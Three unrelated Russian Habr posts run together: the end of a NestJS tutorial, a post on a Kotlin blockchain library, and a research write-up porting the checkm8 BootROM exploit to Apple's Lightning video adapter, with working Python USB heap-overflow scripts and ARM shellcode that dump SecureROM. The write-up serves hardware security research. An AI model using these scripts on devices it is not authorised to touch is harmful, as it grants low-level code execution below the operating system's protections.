Лениво загружаемые модули требуются в ситуациях, когда воркер/крон-задача (cron job)/лямда (lambda) или бессерверная функция/веб-хук (webhook) запускают разные сервисы (разную логику) в зависимости от входных аргументов (путь/дата/параметры строки запроса и т.д.).
### Контекст выполнения / Execution context
*NestJS* предоставляет несколько вспомогательных классов, помогающих создавать приложения, работающие в разных контекстах (HTTP-сервер, микросервисы и веб-сокеты). Эти утилиты предоставляют информацию о текущем контексте выполнения, которая может использоваться для создания общих (generic) защитников, фильтров и перехватчиков.
#### ArgumentsHost
Класс *ArgumentsHost* предоставляет методы для извлечения аргументов, переданных в обработчик. Он позволяет выбрать соответствующий контекст (HTTP, RPC (микросервисы) или веб-сокеты) для извлечения из него аргументов. Ссылка на экземпляр *ArgumentsHost* обычно представлена в виде параметра *host*. Например, с таким параметром вызывается метод *catch* фильтра исключений.
По сути, *ArgumentsHost* — это абстракция над аргументами, переданными в обработчик. Например, для HTTP-сервера (при использовании `@nestjs/platform-express`) объект *host* инкапсулирует массив *[request, response, next]*, где *request* — это объект запроса, *response* — объект ответа и *next* — функция, управляющая циклом запрос-ответ приложения. Для *GraphQL-приложений* объект *host* содержит массив *[root, args, context, info]*.
#### Текущий контекст выполнения
Тип контекста, в котором запущено приложение, можно определить с помощью метода *getType*:
```
import { GqlContextType } from '@nestjs/graphql'
if (host.getType() === 'http') {
// ...
} else if (host.getType() === 'rpc') {
// ...
} else if (host.getType() === 'graphql') {
// ...
}
```
#### Аргументы обработчика хоста
Извлечь массив аргументов, переданных в обработчик, можно с помощью метода *getArgs*:
```
const [req, res, next] = host.getArgs()
```
Метод *getArgByIndex* позволяет извлекать аргументы по индексу:
```
const req = host.getArgByIndex(0)
const res = host.getArgByIndex(1)
```
Перед извлечением аргументов рекомендуется переключаться (switch) на соответствующий контекст. Это можно сделать с помощью следующих методов:
```
switchToHttp(): HttpArgumentsHost
switchToRpc(): RpcArgumentsHost
switchToWs(): WsArgumentsHost
```
Перепишем предыдущий пример с помощью метода *switchToHttp*. Данный метод возвращает объект *HttpArgumentsHost*, соответствующий контексту HTTP-сервера. Этот объект предоставляет 2 метода для извлечения объектов запроса и ответа:
```
import { Request, Response } from 'express'
const ctx = host.switchToHttp()
const req = ctx.getRequest()
const res = ctx.getResponse()
```
Аналогичные методы имеют объекты *RpcArgumentsHost* и *WsArgumentsHost*:
```
export interface WsArgumentsHost {
/**
* Возвращает объект данных.
*/
getData(): T
/\*\*
\* Возвращает объект клиента.
\*/
getClient(): T
}
export interface RpcArgumentsHost {
/\*\*
\* Возвращает объект данных.
\*/
getData(): T
/\*\*
\* Возвращает объект контекста.
\*/
getContext(): T
}
```
#### ExecutionContext
*ExecutionContext* расширяет *ArgumentsHost*, предоставляя дополнительную информацию о текущем процессе выполнения. Экземпляр *ExecutionContext* передается, например, в метод *canActivate* защитника и метод *intercept* перехватчика. *ExecutionContext* предоставляет следующие методы:
```
export interface ExecutionContext extends ArgumentsHost {
/**
* Возвращает тип (не экземпляр) контроллера, которому принадлежит текущий обработчик.
*/
getClass(): Type
/\*\*
\* Возвращает ссылку на обработчик (метод),
\* который будет вызван при дальнейшей обработке запроса.
\*/
getHandler(): Function
}
```
Если в контексте HTTP текущим запросом является POST-запрос, привязанный к методу *create* контроллера *PostController*, *getHandler* вернет ссылку на *create*, а *getClass* — тип *PostController*:
```
const methodKey = ctx.getHandler().name // create
const className = ctx.getClass().name // PostController
```
Возможность получать доступ к текущему классу и методу обработчика позволяет, в частности, извлекать метаданные, установленные с помощью декоратора *@SetMetadata*.
#### Reflection и метаданные
Декоратор *@SetMetadata* позволяет добавлять кастомные метаданные в обработчик:
```
import { SetMetadata } from '@nestjs/common'
@Post()
@SetMetadata('roles', ['admin'])
async create(@Body() createPostDto: CreatePostDto) {
this.postService.create(createPostDto)
}
```
В приведенном примере мы добавляем в метод *create* метаданные *roles* (*roles* — это ключ, а *['admin']* — значение). *@SetMetadata* не рекомендуется использовать напрямую. Лучше вынести его в кастомный декоратор:
```
import { SetMetadata } from '@nestjs/common'
export const Roles = (...roles: string[]) => SetMetadata('roles', roles)
```
Перепишем предыдущий пример:
```
@Post()
@Roles('admin')
async create(@Body() createPostDto: CreatePostDto) {
this.postService.create(createPostDto)
}
```
Для доступа к кастомным метаданным в обработчике используется вспомогательный класс *Reflector*:
```
import { Reflector } from '@nestjs/core'
@Injectable()
export class RolesGuard {
constructor(private reflector: Reflector) {}
}
```
Читаем метаданные:
```
const roles = this.reflector.get('roles', ctx.getHandler())
```
В качестве альтернативы метаданные можно добавлять на уровне контроллера, т.е. применять их ко всем обработчикам сразу:
```
@Roles('admin')
@Controller('post')
export class PostController {}
```
В этом случае для извлечения метаданных в качестве второго аргумента метода *get* следует передавать *ctx.getClass*:
```
const roles = this.reflector.get('roles', ctx.getClass())
```
Класс *Reflector* предоставляет 2 метода для одновременного извлечения метаданных, добавленных на уровне контроллера и метода, и их комбинации.
Рассмотрим такой случай:
```
@Roles('user')
@Controller('post')
export class PostController {
@Post()
@Roles('admin')
async create(@Body() createPostDto: CreatePostDto) {
this.postService.create(createPostDto)
}
}
```
Метод *getAllAndOverride* перезаписывает метаданные:
```
const roles = this.reflector.getAllAndOverride('roles', [
ctx.getHandler(),
ctx.getClass()
])
```
В данном случае переменная *roles* будет содержать массив *['admin']*.
Метод *getAllAndMerge* объединяет метаданные:
```
const roles = this.reflector.getAllAndMerge('roles', [
ctx.getHandler(),
ctx.getClass()
])
```
В этом случае переменная *roles* будет содержать массив *['user', 'admin']*.
### События жизненного цикла / Lifecycle events
Приложение *NestJS*, как и любой элемент приложения, обладают жизненным циклом, управляемым *NestJS*. *NestJS* предоставляет хуки жизненного цикла (lifecycle hooks), которые позволяют фиксировать ключевые события жизненного цикла и определенным образом реагировать (запускать код) при возникновении этих событий.
#### Жизненный цикл
На диаграмме ниже представлена последовательность ключевых событий жизненного цикла приложения, от его запуска до завершения процесса *Node.js*. Жизненный цикл можно разделить на 3 стадии: инициализация, выполнение (запуск) и завершение. Жизненный цикл позволяет планировать инициализацию модулей и сервисов, управлять активными подключениями и плавно (graceful) завершать работу приложения при получении соответствующего сигнала.
#### События жизненного цикла
События жизненного цикла возникают в процессе запуска и завершения работы приложения. *NestJS* вызывает методы хуков, зарегистрированные на *modules*, *injectables* и *controllers* для каждого события.
В приведенном ниже списке методы *onModuleDestroy*, *beforeApplicationShutdown* и *onApplicationShutdown* вызываются только при явном вызове *app.close()* или при получении процессом специального системного сигнала (такого как *SIGTERM*), а также при корректном вызове *enableShutdownHooks* на уровне приложения.
*NestJS* предоставляет следующие методы хуков:
* *onModuleInit* — вызывается один раз после разрешения зависимостей модуля;
* *onApplicationBootstrap* — вызывается один раз после инициализации модулей, но до регистрации обработчиков установки соединения;
* *onModuleDestroy* — вызывается после получения сигнала о завершении работы (например, *SIGTERM*);
* *beforeApplicationShutdown* — вызывается после *onModuleDestroy*; после завершения (разрешения или отклонения промисов), все существующие подключения закрываются (вызывается *app.close()*);
* *onApplicationShutdown* — вызывается после закрытия всех подключений (разрешения *app.close()*).
*Обратите внимание*: хуки жизненного цикла не вызываются для классов, область видимости которых ограничена запросом.
#### Использование хуков жизненного цикла
Каждый хук представлен соответствующим интерфейсом. Реализация такого интерфейса означает регистрацию хука. Например, для регистрации хука, вызываемого после инициализации модуля на определенном классе, следует реализовать интерфейс *OnModuleInit* посредством определения метода *onModuleInit*:
```
import { Injectable, OnModuleInit } from '@nestjs/common'
@Injectable()
export class UsersService implements OnModuleInit {
onModuleInit() {
console.log('Инициализация модуля завершена.')
}
}
```
#### Асинхронная инициализация модуля
Хуки *OnModuleInit* и *OnApplicationBootstrap* позволяют отложить процесс инициализации модуля:
```
async onModuleInit(): Promise {
const response = await fetch(/\* ... \*/)
}
```
#### Завершение работы приложения
Хуки, связанные с завершением работы приложения, по умолчанию отключены, поскольку они потребляют системные ресурсы. Для их включения следует вызвать метод *enableShutdownHooks* на уровне приложения:
```
import { NestFactory } from '@nestjs/core'
import { AppModule } from './app.module'
async function bootstrap() {
const ap = await NestFactory.create(AppModule)
// включаем хуки
app.enableShutdownHooks()
await app.listen(3000)
}
bootstrap()
```
Когда приложение получает сигнал о завершении работы, оно вызывает зарегистрированные методы *onModuleDestroy*, *beforeApplicationShutdown* и *onApplicationShutdown* с соответствующим сигналом в качестве первого параметра. Если зарегистрированная функция является асинхронной (ожидает разрешения промиса), *NestJS* будет ждать разрешения промиса:
```
@Injectable()
class UserService implements OnApplicationShutdown {
onApplicationShutdown(signal: string) {
console.log(signal) // например, `SIGTERM`
}
}
```
*Обратите внимание*: вызов *app.close()* не завершает процесс *Node.js*, а только запускает хуки *OnModuleDestroy* и *OnApplicationShutdown*, поэтому если у нас имеются счетчики (timers), длительные фоновые задачи и т.п., процесс не будет завершен автоматически.
На этом вторая часть руководства завершена.
Благодарю за внимание и happy coding!
---
[](https://cloud.timeweb.com/vds-promo-10-rub?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-10-rub) | https://habr.com/ru/post/666470/ | null | ru | null |
# Vibrant.kt — быстрое прототипирование и разработка распределенных приложений (DApps) на JVM
Нихао!
------
### Введение
Я долго ничего не писал, потому что ЕГЭ само себя не сдаст, но к [Балтийскому конкурсу](http://baltkonkurs.ru) я не мог не написать чего-нибудь классное. Хороших идей из ниоткуда я выдавить не мог, поэтому решил окунуться в абсолютно незнакомую мне на тот момент(пол месяца назад) тему, в мир блокчейна, криптовалют, смарт контрактов и других умных английских слов. На уроках утыкался в телефон, читая множество текстов про блокчейн, peer2peer сети и все такое, постепенно разбираясь. Все пошло легче, когда я начал писать простые прототипы на Javascript'e: в очередной раз убеждаюсь, что в коде все понятнее, нежели на тексте. В итоге, когда я вроде разобрался, я определился с темой работы, которую видно в заголовке статьи.
### Чего это вообще такое и зачем нужно
Vibrant — это библиотека, написанная на Kotlin, для быстрого прототипирования распределенных приложений. Идея в том, что можно сосредотачиваться на определенных аспектах будущей системы, заменяя нереализованный код готовыми решениями. Например, Вы задумали написать распределенный чат.
Сразу возникает несколько пунктов, которые требуют реализации: как обеспечить соединение между пирами, какой протокол общения юзать, а нужно ли мне UDP в локалке, если я просто пробую сделать чат, а может сделать по TCP, а может просто HTTP… В общем, много первостепенных задач, без решения которых ничего не будет работать. И чтобы написать простой чат на распределенной платформе, придется реализовывать некоторое количество функционала. Именно эту задачу решает Vibrant, состоящий из 2-х пакетов, `org.vibrant.core` — абстракция архитектуры и `org.vibrant.base` — различные реализации абстракций из core пакета, например, `HTTPPeer`, `HTTPJsonRPCPeer` — классы пиров, общение которых происходит по http, первый — более абстрактный, второй использует протокол JSON RPC 2.0 для общения между узлами.
В общем, вместо написания пира с нуля, берем готовый JSON RPC пир и используем его. Если возникает необходимость сменить протокол или острое желание написать что-то свое — абстракция позволяет, флаг в руки.
### И как этим пользоваться?
```
class Peer(port: Int, rpc: BaseJSONRPCProtocol): HTTPJsonRPCPeer(port, rpc){
val miners = arrayListOf()
fun broadcastMiners(jsonrpcRequest: JSONRPCRequest): List> {
return this.broadcast(jsonrpcRequest, this.miners)
}
fun addUniqueRemoteNode(remoteNode: RemoteNode, isMiner: Boolean = false) {
super.addUniqueRemoteNode(remoteNode)
if (isMiner && this.miners.find { it.address == remoteNode.address && it.port == remoteNode.port } == null) {
this.miners.add(remoteNode)
}
}
}
```
Вот простая реализация `HTTPJsonPeer`. По ней невозможно сказать, что она умеет, только если не заметить аргумента конструктора `rpc: BaseJSONRPCProtocol`. Если инициализировать этот класс и запустить, то на выбранном порте будет запущен HTTP сервер, который принимает `POST` JSON RPC запросы на `/rpc` endpoint, трансформирует их в Kotlinовские объекты и вызывает соотвествующий метод в переданном `BaseJSONRPCProtocol`. Так сказать, plug and play.
Вот пример методов, которые могут быть запущены через JSON RPC запрос:
```
@JSONRPCMethod
fun getLastBlock(request: JSONRPCRequest, remoteNode: RemoteNode): JSONRPCResponse<*>{
return JSONRPCResponse(
result = node.chain.latestBlock().serialize(),
error = null,
id = request.id
)
}
@JSONRPCMethod
fun newBlock(request: JSONRPCRequest, remoteNode: RemoteNode): JSONRPCResponse<*>{
val blockModel = BaseJSONSerializer.deserialize(request.params[0].toString().toByteArray()) as BaseBlockModel
node.handleLastBlock(blockModel, remoteNode)
return JSONRPCResponse(
result = node.chain.latestBlock().serialize(),
error = null,
id = request.id
)
}
```
Вот так вот быстренько можно сделать пир.
Но где же блокчейн?! Вот он.
```
abstract class InMemoryBlockChain: BlockChain() {
protected val blocks = arrayListOf(this.createGenesisBlock())
override fun latestBlock(): B = this.blocks.last()
override fun addBlock(block: B): B {
synchronized(this.blocks, {
this.blocks.add(block)
this.notifyNewBlock()
return this.latestBlock()
})
}
}
```
Это класс из пакета `org.vibrant.base`, наследовав его можно спокойно юзать блокчейн, существующий только в памяти. Такой блокчейн хорошо подойдет, например, для тестирования приложения.
Стоит отметить, что наличие `InMemoryBlockChain` не ограничивает разработчика: можно написать свой `InMemoryBlockChain`, где вместо arraylist'a используется h2 database, но это уже относится к пункту про "не хочу париться над boilerplate, дайте мне готовый boilerplate и возможность писать мой код".
### Предзаключение
Я активно пыхчу над этим проектом, тут есть еще куча вещей, которые я хотел бы добавить, например, реализовать Tangle по образу и подобию [Iota](https://iota.org/), написать качественный UDPPeer, используя, например, Netty channels. Ах да, сейчас я работаю над смарт контрактами, которые тоже можно будет `plug and play`. Думаю, получится забавно
### Заключение
Буду премного рад энтузиазму читателей в виде pull request'ов.
Ссылки на github:
[Core пакет с абстракцией](https://github.com/vibrantkt/core)
[Base пакет с реализациями](https://github.com/vibrantkt/base)
[Рабочее приложение-чат](https://github.com/vibrantkt/chat-example) | https://habr.com/ru/post/347080/ | null | ru | null |
# checkm8 для Lightning-видеоадаптеров Apple
Появление эксплойта `checkm8` можно назвать одним из важнейших событий прошедшего года для исследователей продукции Apple. Ранее мы уже [опубликовали технический анализ](https://habr.com/ru/company/dsec/blog/471668/) этого эксплойта. Сейчас сообщество активно развивает джейлбрейк [checkra1n](https://checkra.in/) на основе `checkm8`, поддерживающий линейку устройств `iPhone` от `5s` до `X` и позволяющий установить на `iOS` пакетный менеджер `Cydia` и с его помощью устанавливать различные пакеты и твики.
`checkm8` в значительной степени опирается на смещения различных функций в `SecureROM` и данных в `SRAM`. В связи с этим могут возникнуть вопросы: как изначально был извлечен `SecureROM` конкретного устройства? Был ли он извлечен с помощью уязвимостей, лежащих в основе `checkm8`, или каким-то другим образом?
Наверное, ответить на эти вопросы могут лишь сами исследователи, принимавшие участие в разработке `checkm8`. Однако, в этой статье мы расскажем об одном из подходов к извлечению `SecureROM`, основанном на уязвимостях, используемых в `checkm8`, и требующем минимальных знаний о структуре памяти устройства. Описанный метод не является универсальным и будет работать только на устройствах без технологии безопасности `W^X`. В качестве примера мы рассмотрим Lightning-видеоадаптер Apple (да, в этом адаптере есть свой `SoC` с `SecureROM`) и продемонстрируем не только извлечение `SecureROM`, но и полную реализацию функциональности `checkm8` для этого адаптера.
Введение
--------
В конце 2012-го Apple выпустила два видеоадаптера для разъема Lightning:
* Цифровой AV-адаптер Lightning — адаптер HDMI, поддерживает вывод видео и звука;
* Адаптер Lightning/VGA — адаптер VGA, поддерживает только вывод видео.
Спустя некоторое время [пользователи обнаружили](https://panic.com/blog/the-lightning-digital-av-adapter-surprise/), что внутри адаптеров есть полноценный `SoC` с архитектурой `ARM` — `S5L8747` (далее это название будет использоваться, когда речь идет о `SoC` исследуемого адаптера). Возможно, этим и объясняется их довольно высокая по сравнению с другими подобными устройствами стоимость. Согласно [The iPhone Wiki](https://www.theiphonewiki.com/wiki/Haywire), рассматриваемые видеоадаптеры имеют кодовое название `Haywire`, а их прошивка загружается динамически при подключении к некоторому устройству (например, к iPhone) через Lightning.
В прошлом году в Twitter появился [тред](https://twitter.com/nyan_satan/status/1155148789977636864) за авторством [@nyan\_satan](https://twitter.com/nyan_satan) ([перевод на русский на Хабре](https://habr.com/ru/post/461607/)), в котором была собрана и дополнена вся имеющаяся информация о видеоадаптерах Apple. В том числе и о том, как подключить адаптер к ПК по USB.
Версия `SecureROM` у `SoC` `S5L8747`, который используется в устройствах `Haywire`, — `1413.8`. Судя по версии, эти устройства почти наверняка уязвимы к `checkm8`, но на момент исследования проект [ipwndfu](https://github.com/axi0mX/ipwndfu) и его форки не поддерживали `S5L8747`. Более того, в открытом доступе нам не удалось найти дамп `SecureROM` для `S5L8747`, из-за чего появился интерес к эксплуатации `checkm8` на `Haywire`.
Прежде всего, нам нужно было подключить устройство к ПК. В твитах @nyan\_satan были информация о том, [как это сделать](https://twitter.com/nyan_satan/status/1155149072036237313), и [схема подключения](https://twitter.com/nyan_satan/status/1155149135600934912). С интерфейсными платами для Lightning и Micro-USB подключиться к `Haywire` довольно просто, но оказалось, что достать их в короткие сроки (а нам хотелось закончить исследование в течение недели) трудно, поэтому мы решили воспользоваться подручными средствами: макетной платной, несколькими соединительными проводами, ненужным USB-кабелем, понижающим преобразователем на базе `AMS1117`, разъемом Lightning (был снят с другого, безнадежно испорченного в ходе экспериментов, адаптера `Haywire`), двухсторонним скотчем и синей изолентой. В результате мы получили следующее:
Несмотря на свою неприглядность, получившаяся конструкция вполне работоспособна. При подключении к ПК в выводе `dmesg` мы получили заветную строку, и можно было приступать к более интересной части:
```
[ 167.757532] usb 1-2: new high-speed USB device number 11 using xhci_hcd
[ 167.888010] usb 1-2: New USB device found, idVendor=05ac, idProduct=1227
[ 167.888015] usb 1-2: New USB device strings: Mfr=2, Product=3, SerialNumber=4
[ 167.888017] usb 1-2: Product: Apple Mobile Device (DFU Mode)
[ 167.888020] usb 1-2: Manufacturer: Apple Inc.
[ 167.888022] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
```
Поиск необходимых констант
--------------------------
Чтобы лучше понять изложенное ниже, нужно иметь представление о том, как работает эксплойт `checkm8` и какие уязвимости он использует. Все это описано на примере `iPhone 7` в статье ["Технический анализ эксплойта checkm8"](https://habr.com/ru/company/dsec/blog/471668/). Сопоставив различные `SoC` и версии `SecureROM`, мы пришли к выводу, что `S5L8747` больше всего похож на `SoC S5L8947`, используемый в `Apple TV` третьего поколения, поэтому эксплуатация уязвимостей будет отличаться от эксплуатации в `iPhone 7`. Рассмотрим наиболее важные различия между `iPhone7` и `Haywire`:
* В отличие от `iPhone 7`, где использовалась 64-битная архитектура `armv8`, в `Haywire` — 32-битная `armv7`. Кроме того, в `Haywire` на этапе исполнения `SecureROM` также отсутствуют технологии, препятствующие исполнению записываемой памяти (отсутствует `WXN` — бит в регистре `SCTLR`, препятствующий исполнению регионов памяти, доступных для записи; нет ограничений со стороны `MMU`). В связи с этим нет необходимости в `callback-chain` — `code-reuse` подходе, используемом для `iPhone 7`. Вместо этого управление будет передаваться напрямую на шеллкод в `INSECURE_MEMORY`;
* В `SecureROM` `1704.10` и более ранних версий нет возможности контролировать утечки памяти, так как пакет нулевой длины (zero-length-packet) создается для каждого запроса в очереди. Поэтому на `Haywire` будет использоваться другой подход `heap feng-shui`: свободная область небольшого размера будет создаваться в конце кучи путем почти полного заполнения кучи с помощью утечек памяти. В остальном принцип не изменился: на очередной итерации работы `DFU` часть выделений памяти попадет в небольшой свободный чанк в конец кучи, остальное будет выделено в начале с некоторым смещением относительно предыдущей итерации, за счет чего можно будет перезаписать конфигурационные дескрипторы и объект запроса.
Для удачной эксплуатации `checkm8` на `Haywire` необходимо определить основные параметры:
* Количество запросов для заполнения кучи;
* Необходимое смещение для переполнения объекта поля `callback` в объекте `usb_device_io_request`.
Для поиска необходимых значений можно воспользоваться перебором, опираясь на реакцию исследуемого устройства, которую можно различить с ПК. В ходе экспериментов выяснилось, что можно ориентироваться на сообщения ядра (вывод команды `dmesg -w`; исследование производилось на ПК под управлением ОС `Ubuntu 16.04`): так можно определить момент перезагрузки устройства, а также переполнение конфигурационного дескриптора или исполнение бесконечного цикла на устройстве. Также полезными оказались исключения, возникающие при отправке запросов.
Итак, напишем на основе `checkm8.py` скрипт для поиска нужных значений. В нем сделаем отправку `USB`-запросов более информативной с помощью вывода исключений, и определим переменные, значения которых нужно найти:
* `large_leak` — необходимое количество запросов для удачного `heap feng-shui`;
* `padding` — смещение от `UaF`-указателя до первого объекта `usb_device_io_request` на куче;
* `overwrite` — значение, которым будет перезаписан `usb_device_io_request`.
**checkm8-brute.py - скрипт для поиска нужных значений**
```
from checkm8 import *
# make usb_req_* functions more informative
def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
try:
device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
except usb.core.USBError as ex:
print ex # need for more information
def usb_req_stall(device): libusb1_no_error_ctrl_transfer(device, 0x2, 3, 0x0, 0x80, 0x0, 10)
def usb_req_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40, 1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41, 1)
if __name__ == '__main__':
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
# unknown values, need to brute
large_leak = 100
padding = 0x7c0
overwrite = ''
payload = ''
assert len(overwrite) + padding <= 0x800
# heap feng-shui
usb_req_stall(device)
for i in range(large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
usb_req_stall(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding + overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
```
При запуске можно заметить, что на этапе `heap feng-shui` на определенном запросе исключение меняется с `[Errno 110] Operation timed out` на `[Errno 19] No such device (it may have been disconnected)`. Дело в том, что размер кучи в `Haywire` значительно меньше, чем на устройствах `iPhone`, и даже 100 объектов запроса не могут быть в ней размещены. Однако, это отличная возможность определить необходимое значение `large_leak`. Так как исключение меняется на 45-ом запросе, будем перебирать, начиная с него.
На значении 43 в выводе `dmesg -w` можно обнаружить предупреждения о неожиданном конфигурационном дескрипторе. Если посмотреть в `Wireshark` на `USB`-пакеты, можно убедиться, что запрашиваемый дескриптор оказался переполнен.
Таким образом, поиск необходимых констант почти закончен, и, экспериментируя со значением `padding` и `overwrite`, можно найти точное смещение первого дескриптора. При значении 43 — это 0x7a0, из-за чего значение `usb_device_io_request` находится за пределами `UaF`-буфера, и необходимо еще уменьшить `large_leak`. В ходе дальнейших экспериментов были получены значения `large_leak = 41` и смещения первого дескриптора `0x6e0`. Убедимся в правильности, перезаписав размер дескриптора с помощью `overwrite = '\x09\x02\xff'`. В `Wireshark` мы увидим следующий результат (вместо 25 ожидаемых байт было считано 255):
Полученные данные (значения дескрипторов и метаданные кучи) следует сохранить, они понадобятся в дальнейшем. Значение `padding` для переполнения `usb_device_io_request` вычисляется так: `0x6e0` (смещение до первого конфигурационного дескриптора) + `0x20` (размер области данных чанка с первым конфигурационным дескриптором) + `0x40` (размер целого чанка второго конфигурационного дескриптора) + `0x20` (размер метаданных чанка с `usb_device_io_request`) = `0x760`.
Теперь можно передать управление по некоторому адресу. Предположительно, с помощью чтения за пределы конфигурационного дескриптора можно довольно точно определить нужные адреса. Но мы решили воспользоваться утекшими исходными кодами `iBoot`, которые достаточно легко найти в публичном доступе: из них можно узнать, что адрес загрузки для `SoC S5L8747` — `0x22000000`. Чтобы убедиться в этом, установим следующие значения искомых переменных и бесконечный цикл в качестве полезной нагрузки:
```
large_leak = 41
padding = 0x760
overwrite = struct.pack('<20xI', 0x22000000)
payload = '\xfe\xff\xff\xea' # armv7 inf-loop
```
При отправке `USB`-запросов в полученном коде возникнут необычные задержки, а в логе `dmesg` через некоторое время появятся следующие сообщения:
```
[ 3097.066887] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
[ 3097.384557] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3102.497002] usb 1-2: device descriptor read/64, error -110
[ 3117.714855] usb 1-2: device descriptor read/64, error -110
[ 3117.930756] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3123.043369] usb 1-2: device descriptor read/64, error -110
[ 3138.261119] usb 1-2: device descriptor read/64, error -110
[ 3138.477092] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3143.493674] xhci_hcd 0000:00:14.0: Timeout while waiting for setup device command
[ 3143.697698] usb 1-2: Device not responding to setup address.
[ 3143.901633] usb 1-2: device not accepting address 98, error -71
[ 3144.013617] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
```
Устройство перестало отвечать на `USB`-запросы из-за исполнения бесконечного цикла. Таким образом, была получена возможность исполнять произвольный код в `SecureROM` на Lightning-видеоадаптере Apple, и теперь можно приступить непосредственно к его извлечению.
Извлечение SecureROM Haywire
----------------------------
Для извлечения `SecureROM` мы разработали шеллкод, который ищет строковые дескрипторы на куче и перезаписывает их данными из желаемого адреса. Для этого подойдет дескриптор названия продукта, в котором обычно содержится строка `Apple Mobile Device (DFU Mode)`. Сами дескрипторы имеют следующую структуру: первый байт отведен под размер дескриптора, второй — его тип, а затем идет строка в кодировке `UTF-16-LE`. Для оптимизации в шеллкоде можно также изменить и размер найденного дескриптора на `0xff`, чтобы за один раз извлекать `0xfd` байт (т.к. два байта используются для размера и типа дескриптора). При переполнении `usb_device_io_request` также необходимо правильно переполнить метаданные кучи и значения дескрипторов (эти данные мы получили ранее за счет чтения за пределы конфигурационного дескриптора). Приведем код результата:
**checkm8-leak.py - скрипт демонстрации произвольного чтения**
```
from checkm8 import *
from keystone import *
from hexdump import *
if __name__ == '__main__':
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
# unknown values, need to brute
large_leak = 41
padding = 0x6e0
conf_desc = '0902190001010580320904000000fe01'\
'00000721010a00000800000000000000'.decode('hex')
chunk_meta = '08000000020000000000000000000000'\
'00000000000000000000000000000000'.decode('hex')
overwrite = conf_desc + chunk_meta + conf_desc + chunk_meta +\
struct.pack('<20xI', 0x22000000)
assert len(overwrite) + padding <= 0x800
payload = '''
push {r1-r7,lr}
ldr r4, =0x2201c000
mov r5, r4
pattern_matching_loop:
sub r4, r4, #1
mov r0, #0
adr r1, ptrn
compare_loop:
add r2, r4, r0, lsl #1
cmp r2, r5
bge pattern_matching_loop
ldrb r3, [r1,r0]
ldrb r6, [r2]
cmp r3, r6
bne pattern_matching_loop
add r0, r0, #1
cmp r0, #30
beq found
b compare_loop
found:
mov r0, #0xff
strb r0, [r4, #-0x2]
mov r0, #0
mov r1, r4
ldr r2, =0x200 # target address
rewrite_loop:
ldrb r3, [r2,r0]
strb r3, [r1,r0]
add r0, r0, #1
cmp r0, #0xfd
ble rewrite_loop
pop {r1-r7,pc}
ptrn:
.asciz "Apple Mobile Device (DFU Mode)"
'''
ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
payload, _ = ks.asm(payload)
payload = ''.join(chr(i) for i in payload)
# heap feng-shui
usb_req_stall(device)
for i in range(large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
usb_req_stall(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, '\0' * padding + overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
print '(%0.2f seconds)' % (time.time() - start)
desc = device.ctrl_transfer(0x80, 6, 0x303, 0, 0xff, 50)
leak = ''.join(chr(i) for i in desc)[2:]
hexdump(leak)
dfu.release_device(device)
```
В качестве адреса для чтения был выбран `0x200`, так как по этому адресу должна быть строка с версией `SecureROM`. При запуске получаем ожидаемое значение:
```
# python ./checkm8-leak.py
Found: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
(1.26 seconds)
00000000: 53 65 63 75 72 65 52 4F 4D 20 66 6F 72 20 73 35 SecureROM for s5
00000010: 6C 38 37 34 37 78 73 69 2C 20 43 6F 70 79 72 69 l8747xsi, Copyri
00000020: 67 68 74 20 32 30 31 31 2C 20 41 70 70 6C 65 20 ght 2011, Apple
00000030: 49 6E 63 2E 00 00 00 00 00 00 00 00 00 00 00 00 Inc.............
00000040: 52 45 4C 45 41 53 45 00 00 00 00 00 00 00 00 00 RELEASE.........
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
